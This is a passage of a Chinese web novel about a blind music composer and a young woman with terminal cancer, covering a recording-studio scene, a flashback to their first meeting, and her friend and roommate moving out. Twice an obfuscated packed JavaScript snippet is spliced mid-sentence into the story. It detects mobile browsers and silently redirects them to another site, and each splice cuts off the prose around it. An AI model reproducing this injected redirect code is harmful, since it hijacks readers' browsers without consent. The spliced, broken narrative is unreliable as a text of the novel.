迟燃在狭窄的空间里熟练地转身,脚精准无误地踩在录歌位后面凳子的横梁上,没有半点犹豫地坐下了,动作迅速,竟然也没坐空。 宋呓欢拧开水,抿几口润喉,“这儿你很熟?我怎么感觉你动作比在家还快,嗖嗖嗖就进来了。” “先补。”迟燃伸手在面前的桌子上摸着。 宋呓欢以为他是要耳机,就把自己怀里的头戴式耳机递到他手里。迟燃刚摸到耳麦的壳,就抬手拍回去。 “你唱我唱?给我干什么。” 宋呓欢恶狠狠剜他一眼,耐着性子问:“那你要什么?” “我要另一副耳机,入耳式那副。” “没有吧?” 她坐的位置被麦克风挡着,就能看到半个铺着橙色桌布桌子,她左晃右晃也没看见。 “行吧。” 迟燃叹口气,依然伸长胳膊一寸一寸顺着桌子摸过去,没一会儿就摸到个橙色的细绳捏在手里,又叹口气。 宋呓欢尴尬地呃啊了半天才说:“不是,耳机跟桌布都是橙色,真没看见。” “刚瞎的时候要是碰上你,我心里估计早就平衡了。”他半开玩笑地说。 她能明显感觉到迟燃对她的态度好转非常多,但她没想通为什么。 难道是…被她美妙的歌声折服,甘愿跟她去做传染四项,并实现她的生日愿望了? 要真是这样,那玩音乐的人脑回路真都不怎么正常。 迟燃慢条斯理地戴上一只耳机,将另一只我在手里,还嘲笑她: “那么好看的眼睛,是长来出气的吗?” 22. 第 22 章 录音室内没有窗,也没开空调,歌声停止的瞬间,本就浓稠的空气忽地停止流动,将室内挤得格外狭小。 “太棒了,收工!” 录音师给她比个ok的手势,隔着玻璃都能看见他满眼对提前收工的兴奋。 宋呓欢摘掉耳机,小声嘟囔:“谁跟你说我眼睛漂亮,我眼睛比藏狐还小。” 迟燃摘掉橙色的有线耳机,理着弹来弹去不听话的耳机线,慢条斯理地整理。 “我发现你特消极。” 宋呓欢盯着他看了一会,关掉麦克风,扭头跟他说。 他指尖手忽地不稳,耳机坠着橙色的线垂下来,荡来荡去,画着窄窄的橙色扇面。 他停顿许久才说:“算吗?” “你就是。”宋呓欢将空调打开,随手拨拨汗湿的刘海,“你这人总是死盯着结局。好比说今天这首歌,泉水这么美好的意象,你首先想到的还是枯竭。还有余烬!你连给自己起艺名都是燃烧后的灰烬。” 迟燃将橙色耳机线缠在指尖,转着。 “在意结局有什么不对?人、时间还有事件这些,都是循着结局的方向发展,凡事都有结局。” 宋呓欢将橙色耳机线的另一头扯在手里,拽着他手指:“那世界上所有泉水的结局都是枯竭,所有燃烧的结局都是灰烬,可泉水和泉水不一样,火堆和火堆也不一样,你没法用同样的结局一概而论。” 迟燃任由她牵着手指,垂眸沉默。 “要是盯着结局生活,那天天都在筹备葬礼。” 她晃着腿,手指捏着橙色细绳,扽着他的手指。 迟燃没跟她聊下去,反倒岔开话题:“你爸爸怎么可能是81年的?不到二十一岁就生你?” 宋呓欢说:“不是啊。” 迟燃:“那周庭怎么可能比你爸还大,你骗他的?” “没骗人。”宋呓欢淡定地讲着地狱发言,“我爸走的时候四十一。” 空气静默许久。 “怎么不算同岁呢?”宋呓欢说。 “…你刚才在替我出气。” 迟燃动动食指,指尖绷紧橙色细线忽地四散弹开,像指尖的渺小烟花。 “对啊。”她坦率承认,“那老头欺人太甚,而且他要不要脸啊,比她老婆都快大两轮了,老变态。” “宋呓欢。”迟燃语气放缓,“我也比你大半轮。” 这话她不爱听,她飞快地反驳:“半轮这个说法听着吓人,实际也就六岁而已。” 迟燃:“六岁就是半轮。” 宋呓欢不想承认她的双标。 “所以你为什么对录音室那么熟悉?比你家还熟。”她问。 “我在这住过半年,就睡在这间录音室…刚瞎那半年。” 迟燃一下一下地扯着橙色细绳,企图抢回来,但她就是不肯松手。 “这么窄的地方?”宋呓欢四下看看,乍舌道。 这间录音室容纳他们两个人,基本就是膝盖顶着腿侧,扭头说句话都得堵车。就算将整间搬空,按迟燃的个子也得蜷着睡。 迟燃说:“嗯。” 宋呓欢试探着问:“那段时间你应该很难受吧,那么熟练的作编曲技能,一夜之间就没了。” “我那时候…确实重新学着写歌。”他说,“我最害怕的事就是忘记乐器的样子,忘记录音室的样子,忘记音符的样子,一闭眼就开始跟幻灯片播放似的,复习那些东西的外形、用法,吃了药也睡不着,我就干脆在这睡。” “在这能睡着吗?”她问。 “能。”他笑了笑,“不知道是不是因为密闭环境含氧量低,缺氧昏过去。那段时间钱宇生怕我憋死,也一直睡公司,等我睡着悄悄把门打开。” “…两万是他应得的。”宋呓欢捏着耳机柔软的耳堵说。 正说到钱宇呢,他就在玻璃门外蹦跶着挥手,打手势示意,看样子要跟他们说话。 宋呓欢说:“耳机戴上,钱宇找你。” 话是这么说,但她也没松开捏着另一只耳机的手,较劲似的捏着。 耳机线很短,迟燃没辙,靠近她戴上耳机,肩膀似有若无地挨着肩膀。 “不走吗?下班了啊!”钱宇在控制室边蹦边说。 宋呓欢打开麦克风:“那就走…” 话还没说完,就被迟燃打断:“我有副蓝灰防滑鼓棒落在二楼休息室了,帮我拿过来,再去三楼办公室帮我找张唱片,叫Julie。” 钱宇叹口气:“哥,大海捞针啊…还得捞两种针吗哥?” 迟燃抬手精准摸到开关,闭麦拒绝交流。 宋呓欢反应再慢,也意识到迟燃是刻意把人支走。 要单挑? 她猛地转过来,面朝迟燃坐,膝盖避无可避地碰上他的膝盖。 这间录音室实在狭小,双层隔音门隔绝绝大部分的声音,密闭且寂静的空间剥夺感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264586|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,带来难以忽视的压迫感。 耳机线依然一人一头握着,没人松手,细长的橙色绷得细细颤抖。 迟燃肩膀靠在背后的墙上,尽可能地与她保持距离。 在寂静与狭窄的压迫下,宋呓欢忍不住开口:“你找我…” “谢谢你站在我这边。”他说。 “啊?哦,应该的。”宋呓欢慢半拍地说,“你,和那个油腻老男人,很难不站你。” “不止今天。”迟燃摇摇头,“两年前我跟周庭冲突的时候,你也站在我这边。” 宋呓欢瞪大眼睛。 “今天不是我第一次听你唱歌。”他说,“两年前我也听过,差不多就这个时候。” …两年前? 两年的这个时候,她老家迎来数十年难遇的暖春,四月初便暖阳高挂,绿意盎然,温热的雨和暖融融的风与将人追着赶着挤进初夏。 在距离高考还有两个多月的日子里,同窗恨不能灌着咖啡浓茶,悬梁刺股,而她清闲得像早早冒出头拼命聒噪的知了。 极其无聊。 跟同龄的孩子不一样,作为班里常年吊车尾的差生,她不憎恶听课刷题三校联考,也不憎恶抽查补课门口罚站,恰恰相反,她甚至有些享受。 倒不是因为她格外有早熟觉悟,而是因为她从没在学业上感受到任何压力。 忘涂答题卡、上课睡着还有没写作业,这些学生时代堪比天塌地陷的大事,宋呓欢从来不慌。 因为就算老师找到王女士,王女士也只会客客气气地跟老师说,老师辛苦,学习不如身体重要,别为这个骂我家孩子。 一来二去,再没有老师过问她的功课。 对王女士来说,宋呓欢此生唯一需要认真作答的试卷,便是健康。 久坐,熬夜,饮食不规律等等坏习惯被高考包装上拼搏的外壳,王女士光是听着都觉得揪心。高三下,她终于忍无可忍,执意让宋呓欢居家备考。 在家备考期间,宋呓欢严格按照王女士的计划生活。计划极其精确,时间到分钟,体重到小数点后两位,吃饭喝水都精确到克。 她顿顿营养餐,不仅有精确的用餐开始时间,甚至连每道菜的食用顺序和咀嚼次数都有明确规定。 在家不比在学校,王女士眼皮子底下她只能严丝合缝地遵守,扮演按照程序定时定点做任务的小机器人。 机器人不会疯,可人类宋呓欢会,且快了。 23. 第 23 章 “这不是我写的。” 迟燃在烟雾缭绕的会议室里,第无数次重复这句话。 可那时AI读谱功能还未普及,他没有证据,他只能一遍一遍用苍白的语言重复。 他颓然坐在椅子上,甚至不能确定周庭还在不在。周庭没准早就不耐烦走掉,给他留下满屋子呛人的烟气。 “小天才,做人得懂感恩吧?你半年就写一首破烂曲子,公司养你,你不能恩将仇报。” 周庭没走,语气里也丝毫没有不耐烦,他态度称得上循循善诱,语气里还透着隐隐约约的兴奋, ——他享受这一刻。 曾经恃才傲物不把他放在眼里的小天才,处处驳他面子的小天才,现在靠着他的施舍才能勉强吃上音乐人这碗饭。 迟燃还是重复:“你改了我的谱子,你把副歌升Key了。这不是我写的。” 咔哒。 周庭又点燃一根烟,辛辣刺鼻的烟扑到迟燃脸上。 “咳咳…” 迟燃咳得后背都抖起来,但还是不肯走,咳完继续说:“你改谱子了。” 周庭含着烟嘴,发出水淋淋的吮吸声,沙哑的嗓子摩擦挤压出难听的笑声。 呛。 刺耳。 迟燃颓然地用臂弯挡住脸,仰头靠在椅背上。 忽然飘来两道脚步声,一道大步流星,一道小碎步,从远及近,飞快地掠过去,渐渐远去。 “为什么呀为什么呀为什么呀为什么呀…”宋呓欢问。 “你怎么那么多问题?” 鸭舌帽不耐烦地迈着大步子,盯着眼前麻雀似的叽叽喳喳的小姑娘,皱眉说,“我哪知道为什么改副歌,编曲老师经纪公司让改的呗,又不是我改的,我上哪知道去,” 宋呓欢小跑着追上去:“副歌不应该升调,这都跟公鸡打鸣差不多了…” 鸭舌帽摆摆手:“别烦,我不可能做主给你改回去,别想了。那么多妹子都能唱,怎么就你事多。” 宋呓欢箭步跃到他面前:“哥!” “嚯,吓我这一大跳。”鸭舌帽帽檐差点被她拍飞,急刹停住,“别作了好吗?” “哥!她双手握拳架在胸口,“哥!改过之后就是没有原来那版流畅动人嘛…哥!你就让我圆梦吧!我妈刚才逼我解约,这是我第一次也是最后一次当小偶像上台…” “你妈逼你…不是不文明的意思,你已经解约了?这是最后一次上台?”鸭舌帽总算从帽子下面抬头看她一眼。 宋呓欢点头如鸡啄米,“嗯嗯嗯嗯嗯嗯。” “那抓紧演完抓紧走,别在这给我整什么洋活。啧,都解约了还给人添麻烦…叽叽喳喳跟个麻雀似的…” 鸭舌帽压低帽子,嘀嘀咕咕地走了。 忙都忙死了,还来添乱。 他要忙检票,检票前还得再检查一遍舞台。这舞台后面的装饰纱又老是掉,这一下午他都粘三回了。 好不容易熬到演出正式开始,鸭舌帽才抽空坐在舞台旁边偷懒。 那个磨他半天的失业麻雀已经上台演出,他耳根子总算清净点。 还没清净半分钟,舞台后那个小破会议室就传来争执声,音乐和歌声根本盖不住。 前排有几个观众都转头看过去了,还有人掏出手机录像。 天塌了。 鸭舌帽都能猜到粉丝们会怎么写帖子骂统筹:真无语啊,妹妹们那么努力唱歌,背景居然有人吵架?统筹干什么吃的? …统筹吃草。 毕竟统筹是牛是马是骡子,就不是人。 鸭舌帽连忙掏出对讲:“后台什么动静,让他们死外边吵去!!” 对讲滋滋几声,传来个男声:“我不敢,那是作编迟燃老师。” 鸭舌帽攥紧对讲机,手青筋暴起,咬着牙:“那就调大音乐!!!” 对讲机还没放下呢,天又塌一回。 第一排扎着丸子头的观众:“那个妹妹唱错了吧?” “是哦。”旁边的人说,“跟别人不在一个调吧?” ???失业麻雀你怎么死犟啊!! 怎么擅自改副歌Key唱原版啊!!! 鸭舌帽恨不能把对讲丢到舞台上,砸在失业麻雀头上,砸晕拉倒。 “…这样灵动很多哎,她声音又亮,比之前齐刷刷的听感好。” “妹妹们的舞台终于有设计啦?!”丸子头感动道,“主办方终于肯对妹妹们上心了,加鸡腿加鸡腿加鸡腿。” … 好麻雀,乖麻雀,刚才骡子哥哥不该对你那么不耐烦。 鸭舌帽松口气,重新坐回舞台侧边的位子上。有人撞在他身上,他一扭头,对上一双无神的眼睛。 “迟老师?”鸭舌帽连忙伸手去扶,“你助理呢?” 迟燃朝着舞台的方向皱眉,徒劳地试图看清什么似的,“这首歌…” 鸭舌帽早听说迟老师跟经纪公司闹得很不愉快,起因就是这首曲子。 他那边都不想得罪,谨慎地撇清关系:“这不是我的意思。” 也别管撇清的是哪边的关系,反正都跟他没关系,他就一骡子。 就在他以为迟燃会因为原曲被改编,还唱出两种版本发火骂他的时候,他忽然轻声说: “好清澈的嗓子,那……人呢?” 鸭舌帽:“啊?” 迟燃低声问:“唱原曲那姑娘,她长得也很……清澈吗?” 他声音很轻,怅然地问着,却不像在提问。让人觉得他没盼着能有什么答案,更没带着多少好奇。他不是在问,只是单纯地在宣泄某种积压已久的情绪,跟自己作对而已。 什么叫长得清澈?这问题根本狗屁不通。 毫无意义的问题,本来就不需要答案。 没等鸭舌帽回答,迟燃就自嘲地笑笑,说:“我就瞎问,忙你的。” 说完,他不再等待回答,缓缓转身。 鸭舌帽看一眼台上元气满满的失业麻雀,再看看那位落魄天才的背影,掏出手机翻了翻。 “迟老师!”鸭舌帽喊住他。 “那个新人梦梦眼睛很大,透亮清澈得像小鹿眼,嘴巴小巧精致…”他毫无感情地念着微博上现场分享,念完真情实感地补充,“嘴巴虽小但吵,叽叽喳喳跟麻雀似的。” 人怎么能长得清澈呢? 能的。 她的眼睛就清澈透亮。 那天,他记住一双他从未见过的眼睛。 “难怪你说我眼睛好看…”宋呓欢绕着橙色耳机线,“那时候你就见过我?” “客观来说,看不见,是听见。”迟燃说,“我记得你的声音。” “我声音确实很有辨识度。”宋呓欢点头,“无代餐梦核嗓。” 说完她想起来解释这个网络热词:“梦核就是那种做梦似的氛围,无代餐梦核嗓是我粉丝说的,大概就是夸我唱歌跟童年的梦似的。” “谢谢你梦核嗓。”迟燃说。 宋呓欢:“不客气。” “认真的,谢谢你。”他正色说,“我就是在那天才下定决心跟周庭解约,重新开始。” 他无比郑重地道谢,宋呓欢再怎么没正形,一时都不知该如何回应。任何客套都会污染此刻赤诚。 沉默许久,她叹息:“两年前哎,我感觉好奇妙。” 两年前… 两年前。 那时候她没成年、没高考,也没从家里跑出来。她每天活得像个空心机器人,严格地按照王女士编写的程序生活。 程序简单粗暴,不容她长出自我,浅尝自由。 两年前的那天,是她第一次,也是唯一一次当小偶像。 她头一回跟王女士大肆哭闹,为着自由。也是她头一回厚着脸皮求人,头一回不听指挥一意孤行,也为着自由。 今天才知道,那天的迟燃也在挣扎,为着尊严。 她的自由与他的尊严,在那一天短暂地相交。 两年前,她尚未确诊。癌这个字眼,还仅仅是家族的诅咒,是悬在她头顶的达摩克利斯之剑。 王女士惴惴不安,她懵懵懂懂。 那时候癌细胞还没在她体内定居,混成骨髓器官血液淋巴里的钉子户。 换言之,迟燃在遇上病号宋呓欢之前,早就见过尚且健康的宋呓欢。 她比该死的癌细胞更早认识迟燃。 这个无厘头的念头竟让她雀跃。雀跃的理 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不是吸引力,不是好感,不是喜欢,更不是爱,是比这些都更加深沉的一个词。 意义。 多糟糕的一个词。 你看,他的尖刺下总是满载着不易察觉的温柔。可是温柔比尖刺更加扎人,刺得她鲜血淋漓。 疼痛之下她又做起她最擅长的事。 言不由衷,恶言恶语。 “你的意义就是去做传染四项。”宋呓欢说,“还是说从一开始,你答应我就只是缓兵之计,你根本没想过跟我睡?” 迟燃咬牙不语,肩膀被剧烈呼吸带得震颤起来。 宋呓欢没法跟他面对面地坐着,她猛地起身,又冷又冲地说:“让开,让我出去,不行就别耽误我时间…” 忽地,迟燃起身挡在门口,被蹂躏许久的橙色耳机线随着他的动作猛地被拔出来,接口断开的瞬间音响发出爆裂声— 砰! 两张椅子被碰倒,又没法彻底倒下,东倒西歪地靠着桌子或是墙面,将桌上的东西和音频线一并扫到地上。 几台设备发出接触不良的滋滋电流声。 录音室极其狭小,迟燃起身后几乎将整个空间填满,在这么狭窄的情况下,迟燃依然迈着步子朝她压过来。 迟燃胸膛压过来的瞬间,她猛地后退半步,背陷入柔软的隔音棉墙面。 他总算停下时,右膝已经顶着她背后的墙面,将她困在夹角里。那双因失去光泽而显得格外漠然的眼睛盯着她,她一时呼吸不畅。 可她不敢大口喘气,距离实在太近,她竭力克制着胸口的起伏,才能维持住那一线距离。 跟她生日天冒冒失失地撞着吻上去感觉完全不同,迟燃身躯笼罩下来的瞬间,她脑袋宕机,温热的体温透过他薄薄的T恤烘着她的脸。 “你…”宋呓欢虚张声势地开口,“你想怎样?” 迟燃不语,右手自肩膀处缓缓移动,反手贴上她的脸颊,拇指定位般地轻抚她的下颌,攀到鼻梁。 接着,他隔着手指,用鼻尖去碰她的鼻尖。 宋呓欢没再说出话,死命屏住呼吸。 迟燃缓缓拿开用于定位的手指,鼻尖精准地点着她的。 一下、两下… 宋呓欢整个人陷进柔软的隔音棉里,避无可避地屏息承受他意味不明的举动。 “呵。” 他的手缓缓自她脸颊下滑,精准地贴在她脖子上,鼻尖哼出笑意,嘲弄似的。 他反手抚摸她的脖颈,拇指和其余四指无害地分开,可她却莫名有种被掐住脖颈的错觉。 很勒。 一下一下地勒着。 下一秒她才意识到某个无可救药的事实—— 他的手没有用力,是她过于躁动的脉搏撑开脖颈的皮肤,脉搏一下又一下撞着他的手背,将她过速的心跳频率出卖给他。 意识到的瞬间,她憋不住气,猛烈地开始呼吸。 剧烈呼吸无法掩盖的瞬间,迟燃毫不吝啬地嘲笑她: “你就虚张声势吧。” 24. 第 24 章 狭窄的录音室里,空气缓慢地流动,几近凝固。 明明空调开低温,体感却燥热得像夏天。 宋呓欢心跳如鼓,每下都撞着肋骨,颈部大动脉的每次跃动都打在迟燃的手背。 “你这是想睡我的样子?”迟燃将手缩回去,“真想睡我,至于慌成这样?” 宋呓欢气还没喘匀,腾不出空回答 “你根本不知道自己要什么。” 迟燃后退一些,也学着她的样子靠在墙上,偏头说:“在没想清楚自己要什么以前,不可以稀里糊涂地做决定。” “…我要睡你!” 他退开的瞬间,宋呓欢忽然就得到氧气,尽管底气不足,但还是强撑着大声说。 “好,那就当你想睡我。”迟燃难得好脾气地顺着说,“那么,我不愿意。” 宋呓欢抿着嘴唇不说话。 是因为年龄差?还是因为认识的时间太短,或者是她说起话来没脸没皮,吓到他了? 她在等他解释。 “不是…你以为的那种不愿意。”迟燃说,“我的意思是,如果你稀里糊涂地要求,我就这么答应你,那么我们就再没有别的可能了。” 宋呓欢怔忡抬眼,直直地望向他。 迟燃微微偏头,努力地“看”向她,认真地说:“宋呓欢,我想跟你有别的可能。” 泛着灰调的眼睛,依稀可见她的倒影,也是灰色的。 可能性。 在宋呓欢的认知里,答应就是睡,不答应就是不睡,不会有什么延展引申的含义,更跟“可能性”三个字扯不上关系。 可迟燃说,我想跟你有别的可能。 这样简短的一句话,她来来回回默念无数次,怎么念都觉得陌生。 她实在对于“别的”二字缺乏想像。 “别的”是不用隔天吃香菇,“别的”是不用九点半睡着,“别的”是不用跟妈妈做唯一的朋友… 她眼里的“别的”,只有去做那些不让做的事,没有去做那些想要做的事。 她对自由缺乏想像,也就对可能性缺乏想像。可她必须如此,这样她才能永远知足,不知足是远比缺乏想像更可怕的事。 想象无数种可能性,是件宏大而又漫长的任务,不适合她。 她猛地抬手推向迟燃,他毫无防备地被推得趔趄,哗啦啦地撞到地上散落的椅子。 “你殴打残疾人!”他皱眉。 “我哪有那个美国时间跟你搞什么别的可能!!” 丢下这句话,宋呓欢逃跑似的蹿出去,硬底帆布鞋踏在遍地散落的杂物上,几声碎裂的脆响。 迟燃膝盖方才狠狠磕在桌腿上,痛得弓起背。 不知是痛的还是别的什么,他长长地叹息,尾音绵长,被四下的吸音棉吞噬,无声无息。 早春的夜没有书里描写的那么宜人,纱窗外无星无月无风,以最沉闷无趣的方式,将人憋闷出满身薄汗,连流汗都不痛快。 宋呓欢额角的汗珠倒是落得很痛快,顺着鬓角砸进枕头。 夜灯将影子投射到窗台,窗外树影静立,影子反倒无风摇曳,伴随着布料摩擦的声音。 窗外寂静,窗内是低低的喘息声,和着某种嗡嗡声,或是录音设备接触不良的电流声,难以辨认。 她将脸躲在被子下面,汗珠涌出来,落得越来越快。 春日的夜晚浸泡在无边无际的静谧中,任何一点声音都会被无限放大,她只好咬紧嘴唇。 陌生又莫名熟悉的感受不断堆叠,云朵似的拖着她不断攀升,靠近太阳,靠近再靠近…又猛地坠落。 氧气变得稀薄,她不得不大口呼吸。 她歪在床上,连根手指都不想动。就像走在漫长而又崎岖的道路上,攀上一座并不惹眼的山,登顶的瞬间,灾难便落下来。 直到心跳放缓,全部感官都平息下来的时候,宋呓欢才惊觉灾难的根源。 这样灭顶的感受,并非完整地属于她自己。 登至山顶的那一秒钟,一旦与任何具体的名字、鲜活的个体联系起来,便如灵魂打上烙印,宣告灾难伊始。 她的灾难,名为迟燃。 仿佛灾难的预演,她整夜噩梦,次日早上起床的每一步都像踩在棉花上。 宋呓欢揉着眼睛从卧室走出来,嗅到香甜,自前日沉积的坏心情变一扫而空。 这是她最大的优点,健忘。 她的消极情绪来得快,去得更快,通常只需要睡一觉,就又变回那个快乐比格。不知是她记忆力太差,还是癌症这样的大事压下来,将其他事都衬得渺小,才让她擅长忘记坏事。 总之,她看到那碗香蕉燕麦粥的时候,心情大好,全然将昨天的种种不忿丢在脑后。 “果你竟然下厨啦??”宋呓欢感叹,“我一定在梦里没醒,来来来,你掐我一下。” 果果没伸手掐她,将燕麦香蕉粥推到她面前,“尝尝看,喝不下也别硬喝。” 这碗粥根本就是为她的身体量身定制,甜而不腻,很好入口,她毫无阻力地喝下半碗。 “你还有这厨艺呢,之前怎么没露一手。”宋呓欢心满意足地感叹,“嗯,你怎么没给自己盛一碗?” “我待会喝。”果果说,“这个食谱简单,好喝就行。” “哦对!我之前居家无聊翻到个小公园,风景特别好!”宋呓欢翻出微信给她看,“我们可以去划船爬山什么的!而且那个山我看过,叫它土坡都算抬举它,超级矮,咱俩这破体力绝对没问题!” 果果看着没有特别兴奋,也没说话。 宋呓欢手一挥:“我决定不在男人身上浪费时间,我要去看山看水亲近自然,玩点有意思的。等天气暖和点我们就去吧?你多给我多拍几张人生照片…” “宋呓欢。”果果忽然连名带姓地叫她。 “这么喊我很吓人哎…”宋呓欢看清她的神色,后知后觉地不安,“出什么事了吗?你…好严肃。” 她这么一问,果果反倒不说话了。 宋呓欢撂下勺子,急促地问:“怎么了…你别吓我,你哪儿不舒服吗?” “我…”刚一开口,果果眼眶便开始泛红,“小公园…我可能没法陪你去了。” 宋呓欢猛地哽住。 果果泛红的眼眶说明一切,她嘴唇颤抖,不听使唤,“…你是不是要搬出去。” 果果不说话。 那就是默认。 宋呓欢轻声说:“难怪你找人来修东西…你早就想搬了,你从那时候就在做准备。” 空气凝固,锅里温着粘稠的燕麦粥,拖泥带水地冒着泡,是寂静厨房里唯一声音。 她们面对面坐着,像照镜子那样,相对落泪着沉默。 你不能走。 四个字太过单薄,拉不住人,宋呓欢只好满脑子搜刮指控,能留住她的指控。 “我跑出来的时候,是你邀请我跟你一起住,互相照应的。”她说,“你不能就这么抛弃我。” “我没有抛弃你,你以为我就那么想搬出去吗?我不想跟你开开心心地待在一起吗?”果果轻声反问,“是我不想吗?” 她和果果在病友群里相识,她签署姑息疗法同意书后,王女士恨不能将她绑着四肢押到医院,她只好从家里逃出来。果果比她更早些转入大城市的姑息科室,主动邀请她合租。 果果是她人生中第一个也是唯一一个朋友。 她与果果是与世俗背道而驰的反叛者,是被逼无奈捆在一处的末路狂花,是没空做梦又只剩做梦的人。 在宋呓欢的设想里,她们永不分离。 汹涌的哀恸几乎要将她淹没,但不能哭。 哭是分离的序曲,哭了就是认输就是接受事实。 她绝不接受。 宋呓欢咬着牙摇头:“我不管,你不能搬出去,是你骗我来的。” “我骗你来的?”果果再好的脾气也忍不下去,她叹出口气,“宋欢欢你说的是人话?我房租交到十月份,就没打算再找你要,我把这破屋子能修能补的都弄好,我生怕你找不到下一个室友…有这么会赔钱的骗子?” 宋呓欢偏过头,硬生生忍住汹涌的眼泪,咬牙说:“你欺骗我的感情,你就是不能搬。” “我疼得整夜整夜睡不着,我不吸氧的时候感觉头上套着个塑料袋,多说几话都憋得指尖泛紫,……你看我一眼!” 果果彻底惹恼,她抬手脱下家居服上衣,丢在地上。 宋呓欢没敢看过去,余光里瞥到干枯的肋骨,泛紫的斑块和泛红的抓痕,以及透明的芬太尼贴片。瞥到的瞬间,她眼泪就砸下来。 方才的指控不过是色厉内荏,她再说不出话,呜咽着捡起家居服,不敢看果果,手忙脚乱地试图给她穿上。 家居服皱成一团,她怎么也找不到领口,泪眼模糊看不清楚。 “…你穿…袖子…这是袖子…你穿上对不起我错了…你穿…”宋呓欢胡乱地说着,连个完整的句子都说不明白。 果果一动不动地站着,剧烈地呼吸。 宋呓欢怎么也找不到领口,只好用家居服裹住果果,裹完立马逃避似的移开视线。 “…对…不起,对不…”她低着头抽抽噎噎,话都说不利索。 果果注视她许久,才重新穿好衣服,抬手抱住她,将她的脸埋进柔软的家居服里,柔软的布料吸收泪水。 “好了好了。”等她崩溃完,渐渐平息,果果哄小孩似的柔声说,“我们把话说完,行吗?” “嗯。”她脸埋在果果怀里,闷声说。 这是她们第一次拥抱,温暖又硌人。她们之前偶尔手拉手、有时挽着手臂,但从未做过拥抱这么肉麻的事。 离别让一切都变得难能可贵,包括肉麻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308687|181631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “欢欢,我后天就搬。”果果结束拥抱,抬手给她擦眼泪,捋顺她乱七八糟的刘海,“你记得咱们病友群的规矩吗?提前退群,不报哀信,后面我们就…” 宋呓欢震惊地抬眼看她,又飞快地移开视线:“我不记得。” 果果好脾气地笑笑,笑意荒凉,“你再装。我搬走之前会退群,也会盯着你删掉我的联系方式,你装也没用。” “群规是群规,我们两个不一样。”宋呓欢死命拉住她的手,“万一你想我呢?万一你没胃口,想吃我做的饭呢?群里的人都是网友,可我们不一样!而且我从头到尾都不理解这个破规矩,为什么要提前退群,为什么不让家人在群里报丧?得到彼此的消息不好吗?” “因为人的意志是非常神奇的东西,哪怕一丁点撑不下去的想法,都能摧毁一个人。”果果说。 “没有区别。”宋呓欢恶狠狠地说,“总归都是告别,这种方式只是将告别提前而已!!我不接受,你别想删!!我还要去看你,我要给你送..” “不是。”果果摇摇她的手,“不是提前告别。” 宋呓欢坐回去,埋着头,泪水滴滴答答地流进燕麦粥里,砸出无数个小坑,盛着一汪泪水。 “终点是我的终点,是我一个人的课题。”果果用那种特有的温柔又有说服力的语气讲着,“我之前一直没跟你说过吧…刚确诊之后,我前男友其实找过我,他说他还爱我,他想陪我到最后。” 宋呓欢没明白她为什么忽然说这个,抬眸看着她,“…那你为什么没同意?你明明也很喜欢他。” “也不用把我想的太伟大,我不是因为不想拖累他,我是为自己。”果果说,“在这点上,我想得非常透彻。癌症不像心脏病更不像衰老,我们生命的终点必定没有尊严与体面。” “我现在都能感到我在嫉妒他,那么未来我看着从意志到身体都残破的自己,再看着他,嫉妒必然会变成恨。我不会记得爱,我只会想尽方法地折磨他,让他无限贴近我的痛苦。到时候,我将会被这种恨摧毁,我生命中最后一点爱与善良都会被消磨殆尽,那个美好的我会先于我死去。” “…我不要这样。我宁愿在无尽的痛苦里,将饱含爱的回忆作为解药。”果果说,“我宁愿先失去,也不愿意被恨意逼疯。” 宋呓欢眼眶酸胀,快要睁不开,“你要跟我断联,是担心…会像恨他一样…恨我?那你就恨我好了,我…” “我们是朋友啊。”果果歪着头,晶莹的泪珠缓缓地顺着她眼角滑落,“我不会恨你,你不一样,欢欢,我永远不会恨你。” “那…那为什么?”宋呓欢问。 “欢欢,你勇敢热烈美好,我爱你胜过爱我的前男友。”果果望进她的眼睛,“所以,我不想将任何坏消息带给你,不想我的终点给你带来伤害。我希望我们的故事,永远未完待续。” 宋呓欢愣愣地看着她,看着她瘦削的脸,看着她温柔的神情。 “删掉吧。”果果说,“从今往后,关于我,每天都是好消息。” “将好消息留给你这件事,也会是能给我带来幸福的解药。” … 果果在这间合租房里住了一年,可行李只需要三个箱子就能装下,两个箱子是药物与器械,只有一个箱子关于果果。 搬家师傅轻轻松松地将她的三个箱子运出去,装进狭窄的面包车里。果果离开之前抱住她,笑着说她要回家,她很想家。 她不知道果果的家在哪里,只知道果果轻得吓人,她一只手就能抱起来。 宋呓欢以为自己是个健忘的人,消极情绪来得快,去得也快。遇到任何天塌下来的大事,只需要睡一觉就好了。 而事实上,她睡不着,她一直困在果果搬走的那一天里。果果搬走时,大约将她的睡眠一并打包带走。 她静静地坐在沙发上,看着搬家工人踩出的满地狼藉和没用完的纸箱,像个失去指令的机器人。她感受不到时间的流逝,偶尔会短暂闭眼歪倒,但称不上睡眠,更像是对果果搬家那天的重映。她一遍遍地听着果果的话,一遍遍地绝望睁开眼,再次看到满屋搬家后的狼藉。 意识朦胧间,她恍若捕捉到咚咚咚的闷响,宛如拥抱时果果心跳的鼓点。 睁开眼才发觉,是家门被大力敲响,频率恒定,不知敲了多久,还伴随着尖锐的音乐声。 她侧头看看,原来手机也在响,屏幕上是迟燃二字。 宋呓欢迟缓地接起来,那边简单两个字:“开门。” 她脑袋发懵,一时没说出话。 电话里与门口的敲门声越发急促,重叠起来。 迟燃说:“开门,快点,否则我会一直敲下去。” “嗯…?”宋呓欢依然迟缓。 